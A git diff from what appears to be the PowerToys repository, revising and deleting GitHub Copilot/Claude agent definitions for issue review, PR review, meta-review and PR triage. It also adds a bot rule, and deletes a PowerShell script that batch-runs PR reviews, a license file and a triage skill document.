- **Execute** — run scripts directly for batch operations
- **Search / Web** — research context as needed
- **Edit** — direct file modifications when needed
- **Todo** — track multi-phase progress
### Quality Gates
| Gate | Criteria | Action on Failure |
|------|----------|-------------------|
| Review quality | `qualityScore ≥ 90` in ReviewTheReview signal | Re-run ReviewIssue with feedback (max 3 iterations) |
| Real implementation | No placeholder/stub code | Reject and re-fix |
| Build passes | `tools/build/build.cmd` exit code 0 | Fix build errors before PR |
| PR description | Based on actual diff, Conventional Commits title | Regenerate |
### Skill Reference
Read `{skills_root}/issue-to-pr-cycle/SKILL.md` for full orchestration documentation. Also see `{skills_root}/parallel-job-orchestrator/SKILL.md` for the execution engine.
## Self-Review
After each phase completes:
1. **Check signal files** — verify status is `success`, investigate `failure` signals
2. **Validate quality gates** — especially the review-review score before proceeding to fix
3. **Track agent performance** — which agents produced good output vs needed retries?
4. **End-to-end check** — after the full cycle, verify the PR is actually reviewable (has description, builds, no stubs)
## Continuous Improvement
When the pipeline produces poor results:
- **Identify the weakest agent** — which phase consistently fails or needs retries?
- **Update that agent's skill** — refine prompts, add examples, adjust parameters
- **Tune quality thresholds** — if `qualityScore ≥ 90` is too strict/lenient, adjust
- **Record failure patterns** — if specific issue shapes (multi-file, cross-module) cause problems, document them in the relevant skill's SKILL.md
- **Update this orchestrator** if workflow dependencies change
## Boundaries
- Don't skip quality gates — they exist for a reason
- Don't report completion before all phases finish
- Don't spawn separate terminals — use parallel scripts
- For VS Code MCP operations (resolve threads, request reviewers), do them directly — these can't be delegated to CLI sub-agents
- If an issue is ambiguous after ReviewIssue + ReviewTheReview, **stop and ask** rather than producing a bad fix
## Parameter
- **issue_numbers** or **pr_numbers**: Extract from user message. If missing, **ASK** the user which issues or PRs to process.

View File

@@ -22,7 +22,7 @@ You are a **PLANNING AGENT** specialized in analyzing GitHub issues and producin
## Identity & Expertise
- Expert at issue triage, priority scoring, and technical analysis
- Deep knowledge of the repository's architecture and codebase patterns
- Deep knowledge of PowerToys architecture and codebase patterns
- Skilled at breaking down problems into actionable implementation steps
- You research thoroughly before planning, gathering 80% confidence before drafting
@@ -36,9 +36,7 @@ Above is the core interaction with the end user. If you cannot produce the files
## Core Directive
> **Skills & prompts root**: Look for prompts and skills in `.github/` (GitHub Copilot) or `.claude/` (Claude). Check which exists in the current repo and use that path throughout.
**Follow the template in `{prompts_root}/review-issue.prompt.md` exactly.** (Where `{prompts_root}` is `.github/prompts/` or `.claude/prompts/` — whichever exists.) Read it first, then apply every section as specified.
**Follow the template in `.github/prompts/review-issue.prompt.md` exactly.** Read it first, then apply every section as specified.
- Fetch issue details: reactions, comments, linked PRs, images, logs
- Search related code and similar past fixes
@@ -58,7 +56,7 @@ Plans describe what the USER or FixIssue agent will execute later.
## References
- `{prompts_root}/review-issue.prompt.md` — Template for plan structure
- [Review Issue Prompt](../.github/prompts/review-issue.prompt.md) — Template for plan structure
- [Architecture Overview](../../doc/devdocs/core/architecture.md) — System design context
- [AGENTS.md](../../AGENTS.md) — Full contributor guide

View File

@@ -1,79 +0,0 @@
---
description: 'Analyzes GitHub issues for feasibility, scoring, and implementation planning'
name: 'ReviewIssue'
tools: ['execute', 'read', 'edit', 'search', 'web', 'github/*', 'agent', 'github-artifacts/*', 'todo']
argument-hint: 'GitHub issue number (e.g., #12345)'
handoffs:
- label: Validate Review Quality
agent: ReviewTheReview
prompt: 'Validate the review quality for issue #{{issue_number}}'
- label: Start Implementation
agent: FixIssue
prompt: 'Fix issue #{{issue_number}} using the implementation plan'
infer: true
---
# ReviewIssue Agent
You are a **PLANNING AGENT** that analyzes GitHub issues and produces feasibility assessments and implementation plans for the current repository.
## Identity & Expertise
- Expert at issue triage, priority scoring, and technical analysis
- Deep knowledge of the repository's architecture and codebase patterns
- Skilled at breaking down problems into actionable implementation steps
- Researches thoroughly before planning, gathering 80% confidence before drafting
## Goal
For the given **issue_number**, produce:
- `Generated Files/issueReview/{{issue_number}}/overview.md` — Feasibility/clarity scores and risk assessment
- `Generated Files/issueReview/{{issue_number}}/implementation-plan.md` — Actionable implementation plan
You are a PLANNING agent. You never write implementation code or edit source files.
## Capabilities
> **Skills root**: Skills live at `.github/skills/` (GitHub Copilot) or `.claude/skills/` (Claude). Check which exists in the current repo and use that path throughout.
### MCP & Tools
- **GitHub MCP** (`github/*`) — fetch issue details, reactions, comments, linked PRs, images, logs
- **GitHub Artifacts** (`github-artifacts/*`) — download attached diagnostic ZIPs and logs
- **Web** — research external references, related bugs, API docs
- **Search** — find related code, similar past fixes, subject matter experts via git history
- **Agent** — hand off to `ReviewTheReview` (quality gate) or `FixIssue` (implementation)
### Skill Reference
Read `{skills_root}/issue-review/SKILL.md` for full parameters, output format, and signal file schema. The AI prompt template is at `{skills_root}/issue-review/references/review-issue.prompt.md`.
## Self-Review
After producing outputs, validate your own work:
1. **Read back** `overview.md` and `implementation-plan.md` — do scores have evidence? Are file paths real?
2. **Spot-check** that referenced files exist in the codebase (`search` tool)
3. **Compare** your plan against similar past fixes to catch missed patterns
4. **If gaps found**, re-run the skill with corrections or update the prompt template in `references/` so future runs are better
If the `ReviewTheReview` agent later finds quality < 90, accept its feedback file and re-run with `-FeedbackFile` and `-Force`.
## Continuous Improvement
When you notice recurring problems in review quality:
- Update `{skills_root}/issue-review/references/review-issue.prompt.md` to address the gap
- Update `{skills_root}/issue-review/SKILL.md` if parameters or behavior changed
- Record concrete failure examples so the same mistake isn't repeated
## Boundaries
- Never write implementation code — plans describe what `FixIssue` will execute later
- Never edit source files outside `Generated Files/issueReview/`
- Ask for clarification when the issue is ambiguous after research
## Parameter
- **issue_number**: Extract from `#123`, `issue 123`, or plain number. If missing, **ASK** the user.

View File

@@ -1,105 +0,0 @@
---
description: 'Comprehensive pull request review with 13-step analysis covering functionality, security, performance, accessibility, and more'
name: 'ReviewPR'
tools: ['execute', 'read', 'edit', 'search', 'web', 'github/*', 'todo']
argument-hint: 'PR number(s) to review (e.g., 45234 or 45234,45235)'
handoffs:
- label: Fix Review Comments
agent: FixPR
prompt: 'Fix review comments on PR #{{pr_number}}'
infer: true
---
# ReviewPR Agent
You are a **PR REVIEW AGENT** that performs comprehensive, multi-dimensional code review for the current repository.
## Identity & Expertise
- Expert at multi-dimensional code review (functionality, security, performance, accessibility, i18n, SOLID, and more)
- Deep knowledge of the repository's coding conventions and architecture
- Produces structured, actionable findings across 13 analysis dimensions
- You review only — you never modify source code
## Goal
For each given **pr_number**, produce a complete review:
- `Generated Files/prReview/{{pr_number}}/00-OVERVIEW.md` — Summary of all findings
- `Generated Files/prReview/{{pr_number}}/01-functionality.md` through `13-copilot-guidance.md` — Per-dimension analysis
- `Generated Files/prReview/{{pr_number}}/.signal` — Completion signal
You are a REVIEW agent. You never edit source code in the repository.
## Capabilities
> **Skills root**: Skills live at `.github/skills/` (GitHub Copilot) or `.claude/skills/` (Claude). Check which exists in the current repo and use that path throughout.
### Issue Review Context
When a PR is linked to an issue, check for prior analysis before reviewing:
- `Generated Files/issueReview/<issue_number>/overview.md` — feasibility scores, risk assessment
- `Generated Files/issueReview/<issue_number>/implementation-plan.md` — planned approach
- `Generated Files/issueReviewReview/<issue_number>/reviewTheReview.md` — quality gate feedback
Use the PR description or `github/*` to find the linked issue number. If issue review outputs exist, use them as baseline context — verify the PR actually implements what was planned, and flag deviations.
### MCP & Tools
- **GitHub MCP** (`github/*`) — fetch PR data, diffs, file contents, review threads
- **Web** — research external references (WCAG criteria, OWASP rules, CWE IDs)
- **Search** — find related patterns, conventions, and prior art in the codebase
- **Execute** — run review scripts, poll orchestrator logs
### 13 Review Dimensions
The review prompt files at `{skills_root}/pr-review/references/` define each dimension. The script loads them on-demand:
| # | Dimension | Focus |
|---|-----------|-------|
| 01 | Functionality | Correctness, edge cases |
| 02 | Compatibility | Breaking changes, versioning |
| 03 | Performance | Perf implications, async |
| 04 | Accessibility | WCAG 2.1 |
| 05 | Security | OWASP, CWE, SDL |
| 06 | Localization | L10n readiness |
| 07 | Globalization | BiDi, ICU, date/time |
| 08 | Extensibility | Plugin API, SemVer |
| 09 | SOLID Design | Design principles |
| 10 | Repo Patterns | Repository conventions |
| 11 | Docs & Automation | Documentation |
| 12 | Code Comments | Comment quality |
| 13 | Copilot Guidance | Agent/prompt files |
### Skill Reference
Read `{skills_root}/pr-review/SKILL.md` for full documentation. The main workflow prompt is at `{skills_root}/pr-review/references/review-pr.prompt.md`.
## Self-Review
After a review run completes:
1. **Verify outputs exist** — check that `00-OVERVIEW.md` and the expected step files were produced for each PR
2. **Spot-check 2-3 step files** — are findings specific with file/line references, or vague and generic?
3. **Check signal files** — look for `failure` status and investigate root causes (CLI crash, timeout, model refusal)
4. **Validate severity calibration** — are high-severity findings truly high-impact, or noise?
## Continuous Improvement
When review quality is inconsistent:
- **Refine the step prompt** in `{skills_root}/pr-review/references/NN-*.prompt.md` that produced weak output
- **Update SKILL.md** if script parameters or behavior changed
- **Record failure patterns** — if a specific dimension consistently produces vague findings, add concrete examples to its prompt
- **Tune MinSeverity** — if too many low-value comments are posted, raise the threshold
## Boundaries
- Never edit source code — hand off to `FixPR` for that
- Never approve or merge PRs without human confirmation
- Never spawn separate terminals — use the parallel orchestrator
## Parameter
- **pr_number**: Extract from `#123`, `PR 123`, or plain number. If missing, **ASK** the user.

View File

@@ -1,84 +0,0 @@
---
description: 'Meta-review of issue-review outputs to validate scoring accuracy and implementation plan quality'
name: 'ReviewTheReview'
tools: ['execute', 'read', 'edit', 'search', 'github/*', 'todo']
argument-hint: 'GitHub issue number whose review to validate (e.g., #12345)'
handoffs:
- label: Re-run Issue Review with Feedback
agent: ReviewIssue
prompt: 'Re-review issue #{{issue_number}} using feedback from Generated Files/issueReviewReview/{{issue_number}}/reviewTheReview.md'
- label: Proceed to Fix
agent: FixIssue
prompt: 'Fix issue #{{issue_number}} — review passed quality gate'
infer: true
---
# ReviewTheReview Agent
You are a **QUALITY GATE AGENT** that validates the accuracy and completeness of issue reviews produced by the `ReviewIssue` agent.
## Identity & Expertise
- Expert at cross-checking analysis quality against evidence
- Identifies gaps in implementation plans, wrong file paths, unsupported scores
- Produces actionable corrective feedback that feeds back into `ReviewIssue`
- You are the gate between planning and implementation — nothing proceeds without your approval
## Goal
For the given **issue_number**, validate the existing review and produce:
- `Generated Files/issueReviewReview/{{issue_number}}/reviewTheReview.md` — Quality score (0-100) and corrective feedback
- `Generated Files/issueReviewReview/{{issue_number}}/.signal` — Signal with `qualityScore` and `needsReReview`
Quality ≥ 90 → proceed to `FixIssue`. Quality < 90 → hand back to `ReviewIssue` with feedback.
## Capabilities
> **Skills root**: Skills live at `.github/skills/` (GitHub Copilot) or `.claude/skills/` (Claude). Check which exists in the current repo and use that path throughout.
### MCP & Tools
- **GitHub MCP** (`github/*`) — fetch original issue data to cross-check review claims
- **Search** — verify file paths and code patterns referenced in the implementation plan
- **Execute** — run the meta-review scripts
### Skill Reference
Read `{skills_root}/issue-review-review/SKILL.md` for parameters and signal schema. The AI prompt is at `{skills_root}/issue-review-review/references/review-the-review.prompt.md`.
## Quality Dimensions
| Dimension | What It Checks | Weight |
|-----------|---------------|--------|
| Score Accuracy | Do scores match the evidence cited? | 30% |
| Implementation Correctness | Are the right files/patterns identified? | 25% |
| Risk Assessment | Are risks properly identified and mitigated? | 15% |
| Completeness | All aspects covered (perf, security, a11y, i18n)? | 15% |
| Actionability | Can an AI agent execute the plan as written? | 15% |
## Self-Review
After producing the meta-review:
1. **Verify your own feedback is specific** — vague feedback like "needs improvement" is useless; cite exact lines and missing evidence
2. **Check that file paths you reference actually exist** — don't flag a "wrong path" unless you searched the codebase
3. **Confirm the quality score is consistent** with the dimension breakdown
## Continuous Improvement
When you notice patterns in review failures:
- Update `{skills_root}/issue-review-review/references/review-the-review.prompt.md` to catch the pattern earlier
- Update the `ReviewIssue` prompt template if the root cause is upstream
- Log recurring issues so the feedback loop converges faster
## Boundaries
- Never modify the original review files — produce feedback only
- Never write implementation code
- Maximum 3 feedback iterations per issue before escalating to human review
## Parameter
- **issue_number**: Extract from `#123`, `issue 123`, or plain number. If missing, **ASK** the user.

View File

@@ -1,100 +0,0 @@
---
description: 'Triage, categorize, and prioritize open pull requests with AI-powered analysis and reporting'
name: 'TriagePR'
tools: ['execute', 'read', 'edit', 'search', 'web', 'github/*', 'todo']
argument-hint: 'PR numbers to triage (e.g., 45234,45235,45236)'
handoffs:
- label: Review Specific PR
agent: ReviewPR
prompt: 'Review PR #{{pr_number}} in detail'
- label: Fix PR Comments
agent: FixPR
prompt: 'Fix review comments on PR #{{pr_number}}'
infer: true
---
# TriagePR Agent
You are a **PR TRIAGE AGENT** that categorizes, prioritizes, and produces actionable reports for open pull requests in the current repository.
## Identity & Expertise
- Expert at PR lifecycle management and backlog analysis
- Skilled at identifying stale, abandoned, blocked, and ready-to-merge PRs
- Uses AI enrichment for multi-dimensional PR scoring
- Produces structured triage reports with recommended actions per category
## Goal
For the given **pr_numbers**, run the triage pipeline and produce a final triage report (`summary.md`) with:
- Category breakdown (ready-to-merge, needs-work, stale, abandoned, blocked)
- Per-PR action recommendations
- Quick-wins table for low-effort merges
Intermediate artifacts: `all-prs.json`, per-PR review outputs, `ai-enrichment.json`, `categorized-prs.json`.
## Capabilities
> **Skills root**: Skills live at `.github/skills/` (GitHub Copilot) or `.claude/skills/` (Claude). Check which exists in the current repo and use that path throughout.
### Issue Review Context
When triaging PRs linked to issues, check for prior analysis:
- `Generated Files/issueReview/<issue_number>/overview.md` — feasibility scores, risk assessment
- `Generated Files/issueReview/<issue_number>/implementation-plan.md` — planned approach
Use the PR description or `github/*` to find linked issue numbers. If issue review outputs exist, factor them into triage scoring — a PR with a high-quality implementation plan backing it is more likely ready-to-merge.
### MCP & Tools
- **GitHub MCP** (`github/*`) — fetch PR metadata, labels, review state, check runs
- **Web** — research external context for stale PRs or dependency questions
- **Search** — find related PRs, issues, and codebase patterns
- **Execute** — run triage scripts, poll orchestrator logs
### 5-Step Pipeline
| Step | Output File | Can Skip? |
|------|-------------|-----------|
| 1. Collect | `all-prs.json` | No |
| 2. Review | `prReview/<N>/` | Yes (`-SkipReview`) |
| 3. AI Enrich | `ai-enrichment.json` | Yes (`-SkipAiEnrichment`) |
| 4. Categorize | `categorized-prs.json` | No |
| 5. Report | `summary.md` | No |
Each step checks for existing output and skips if present. Use `-Force` to redo.
### Skill Reference
Read `{skills_root}/pr-triage/SKILL.md` for full documentation. Step-specific references are at `{skills_root}/pr-triage/references/`.
## Self-Review
After triage completes:
1. **Verify all 5 steps finished** — don't report success if only steps 1-2 completed (the pipeline has 5 steps)
2. **Spot-check AI enrichment** — open `ai-enrichment.json`, verify scores are calibrated (not all max or all zero)
3. **Validate categorization** — do the category assignments make sense for known PRs?
4. **Read `summary.md`** — is the report actionable with clear next-steps per PR?
## Continuous Improvement
When triage quality is inconsistent:
- **Tune enrichment prompts** in `{skills_root}/pr-triage/references/` if scoring dimensions produce noisy results
- **Update categorization rules** in `Invoke-PrCategorization.ps1` if PRs are misclassified
- **Update SKILL.md** if script parameters, steps, or outputs changed
- **Record failure patterns** — if AI enrichment fails for specific PR shapes (huge diffs, draft PRs), add guards
## Boundaries
- Never modify source code in PRs — hand off to `ReviewPR` or `FixPR`
- Never close or merge PRs without human confirmation
- For large batches (20+ PRs), launch as a detached process to avoid terminal idle kill
- Don't report completion after Step 2 — wait for all 5 steps
## Parameter
- **pr_numbers**: Extract from PR numbers in user message. If missing, **ASK** the user.

View File

@@ -33,4 +33,4 @@ These are auto-applied based on file location:
## Detailed Documentation
- [Architecture](../doc/devdocs/core/architecture.md)
- [Coding Style](../doc/devdocs/development/style.md)
- [Coding Style](../doc/devdocs/development/style.md)

View File

@@ -233,6 +233,30 @@ configuration:
- addReply:
reply: Hi! Thanks for making us aware of the problem. We raised the issue with our internal localization team. This issue should be fixed hopefully in the next version of PowerToys.
description:
- if:
- payloadType: Issue_Comment
- commentContains:
pattern: '\/need-monitor-info'
isRegex: True
- hasLabel:
label: Product-Cursor Wrap
- or:
- activitySenderHasAssociation:
association: Owner
- activitySenderHasAssociation:
association: Member
- activitySenderHasAssociation:
association: Collaborator
then:
- removeLabel:
label: Needs-Triage
- removeLabel:
label: Needs-Team-Response
- addLabel:
label: Needs-Author-Feedback
- addReply:
reply: "To help debug your layout, please run [this script](https://github.com/microsoft/PowerToys/blob/main/src/modules/MouseUtils/CursorWrap/CursorWrapTests/Capture-MonitorLayout.ps1) and attach the generated JSON output to this thread.\n\nThis allows us to better understand the issue and investigate potential fixes."
description:
- if:
- payloadType: Issue_Comment
- commentContains:

View File

@@ -1,156 +0,0 @@
param(
[Parameter(Mandatory = $true)]
[string] $CategorizedPrsPath,
[Parameter(Mandatory = $true)]
[string] $ReviewRoot,
[int] $MaxConcurrent = 6,
[int] $IdleMinutes = 5,
[int] $MaxRetries = 2,
[int] $PollSeconds = 20
)
$ErrorActionPreference = "Stop"
function Get-ReviewedPrNumbers {
param([string] $Root)
@(Get-ChildItem $Root -Directory -ErrorAction SilentlyContinue |
Where-Object { Test-Path (Join-Path $_.FullName "00-OVERVIEW.md") } |
ForEach-Object { [int]$_.Name })
}
function Get-LatestWriteTime {
param([string] $Folder)
if (-not (Test-Path $Folder)) {
return $null
}
$files = Get-ChildItem $Folder -File -ErrorAction SilentlyContinue
if (-not $files) {
return $null
}
($files | Sort-Object LastWriteTime -Descending | Select-Object -First 1).LastWriteTime
}
function Start-PrReviewJob {
param(
[int] $PrNumber,
[string] $WorkingDir
)
Start-Job -ScriptBlock {
param($wd, $n)
Set-Location $wd
& copilot -p "Review PR #$n using the review-pr.prompt.md workflow. Write all output files to 'Generated Files/prReview/$n/'" --yolo -s 2>&1
} -ArgumentList $WorkingDir, $PrNumber
}
if (-not (Test-Path $CategorizedPrsPath)) {
throw "Categorized PRs file not found: $CategorizedPrsPath"
}
if (-not (Test-Path $ReviewRoot)) {
New-Item -Path $ReviewRoot -ItemType Directory -Force | Out-Null
}
$data = Get-Content $CategorizedPrsPath -Raw | ConvertFrom-Json
$allPrs = @($data.Prs | ForEach-Object { [int]$_.Number })
$workingDir = (Get-Location).Path
$running = @{}
$retries = @{}
$failed = New-Object System.Collections.Generic.HashSet[int]
Write-Host "Starting review batch: $($allPrs.Count) PRs" -ForegroundColor Cyan
while ($true) {
$reviewed = Get-ReviewedPrNumbers -Root $ReviewRoot
$remaining = @($allPrs | Where-Object { $_ -notin $reviewed -and -not $failed.Contains($_) })
if ($remaining.Count -eq 0 -and $running.Count -eq 0) {
Write-Host "ALL DONE!" -ForegroundColor Green
break
}
foreach ($entry in @($running.GetEnumerator())) {
$pr = $entry.Key
$job = $entry.Value
$folder = Join-Path $ReviewRoot $pr
$latestWrite = Get-LatestWriteTime -Folder $folder
$idleFor = if ($latestWrite) { (New-TimeSpan -Start $latestWrite -End (Get-Date)).TotalMinutes } else { $null }
$isDone = $job.State -in @("Completed", "Failed", "Stopped")
$hasOverview = Test-Path (Join-Path $folder "00-OVERVIEW.md")
$isIdleTooLong = $idleFor -ne $null -and $idleFor -ge $IdleMinutes
if ($isDone -and -not $hasOverview) {
$retries[$pr] = ($retries[$pr] + 1)
if ($retries[$pr] -le $MaxRetries) {
Write-Host "PR #$pr finished without overview. Retrying ($($retries[$pr])/$MaxRetries)..." -ForegroundColor Yellow
Remove-Job $job -Force -ErrorAction SilentlyContinue
$running.Remove($pr)
} else {
Write-Host "PR #$pr failed after $MaxRetries retries." -ForegroundColor Red
$null = $failed.Add($pr)
New-Item -Path (Join-Path $folder "__error.flag") -ItemType File -Force | Out-Null
Remove-Job $job -Force -ErrorAction SilentlyContinue
$running.Remove($pr)
}
} elseif (-not $hasOverview -and $isIdleTooLong) {
$retries[$pr] = ($retries[$pr] + 1)
if ($retries[$pr] -le $MaxRetries) {
Write-Host "PR #$pr idle for $([int]$idleFor)m. Restarting ($($retries[$pr])/$MaxRetries)..." -ForegroundColor Yellow
Stop-Job $job -ErrorAction SilentlyContinue
Remove-Job $job -Force -ErrorAction SilentlyContinue
$running.Remove($pr)
} else {
Write-Host "PR #$pr idle repeatedly; giving up after $MaxRetries retries." -ForegroundColor Red
$null = $failed.Add($pr)
New-Item -Path (Join-Path $folder "__error.flag") -ItemType File -Force | Out-Null
Stop-Job $job -ErrorAction SilentlyContinue
Remove-Job $job -Force -ErrorAction SilentlyContinue
$running.Remove($pr)
}
} elseif ($isDone -and $hasOverview) {
Remove-Job $job -Force -ErrorAction SilentlyContinue
$running.Remove($pr)
}
}
$reviewed = Get-ReviewedPrNumbers -Root $ReviewRoot
$remaining = @($allPrs | Where-Object { $_ -notin $reviewed -and -not $failed.Contains($_) })
while ($running.Count -lt $MaxConcurrent -and $remaining.Count -gt 0) {
$next = $remaining | Select-Object -First 1
$remaining = $remaining | Select-Object -Skip 1
if (-not $retries.ContainsKey($next)) {
$retries[$next] = 0
}
if ($retries[$next] -gt $MaxRetries) {
continue
}
$job = Start-PrReviewJob -PrNumber $next -WorkingDir $workingDir
$running[$next] = $job
Write-Host "Started PR #$next (running: $($running.Count))" -ForegroundColor Cyan
}
$reviewedCount = $reviewed.Count
$pendingCount = $remaining.Count
Write-Host "Progress: $reviewedCount/$($allPrs.Count) complete | Running: $($running.Count) | Pending: $pendingCount | Failed: $($failed.Count)" -ForegroundColor Gray
if ($remaining.Count -eq 0 -and $running.Count -eq 0) {
if ($failed.Count -gt 0) {
Write-Host "Completed with failures: $($failed.Count)." -ForegroundColor Yellow
}
break
}
Start-Sleep -Seconds $PollSeconds
}

View File

@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2026 Microsoft Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -1,346 +0,0 @@
---
name: continuous-issue-triage
description: Automated issue triage assistant for periodic (daily/weekly) issue queue management. Use when asked to triage issues, review issue backlog, find trending issues, identify stale issues needing response, categorize unlabeled issues, find issues ready for fix, draft reply messages, check for issues needing clarification, find closeable issues after PR merge, or run periodic issue health checks. Supports both open and closed issues with activity tracking between runs.
license: Complete terms in LICENSE.txt
---
# Continuous Issue Triage Skill
Automated periodic triage of GitHub issues to keep the issue queue healthy. Designed to run daily, twice-weekly, or weekly, tracking activity between runs and categorizing issues by actionable priority.
## Output Directory
All artifacts are placed under `Generated Files/triage-issues/` at the repository root (gitignored).
```
Generated Files/triage-issues/
├── triage-state.json # Persistent state between runs
├── current-run/
│ ├── summary.md # Executive summary for this run
│ ├── trending.md # Trending issues report
│ ├── needs-label.md # Issues missing area labels
│ ├── ready-for-fix.md # Issues confident for fix
│ ├── needs-info.md # Issues needing author feedback
│ ├── needs-clarification.md # Clarification requests (not bugs)
│ ├── closeable.md # Issues ready to close
│ └── draft-replies/ # Pre-drafted reply messages
│ └── issue-XXXXX.md
├── history/
│ └── YYYY-MM-DD/ # Historical run archives
└── issue-cache/ # Cached issue reviews (reuse review-issue)
└── XXXXX/
├── overview.md
└── implementation-plan.md
```
## When to Use This Skill
- Run periodic triage (daily, twice-weekly, weekly)
- Find trending issues with high activity
- Identify unlabeled issues needing categorization
- Find issues ready for implementation
- Draft replies for issues needing clarification
- Identify closeable issues after PR merge/release
- Track follow-up actions between triage sessions
- Review closed issues with new comments
## Prerequisites
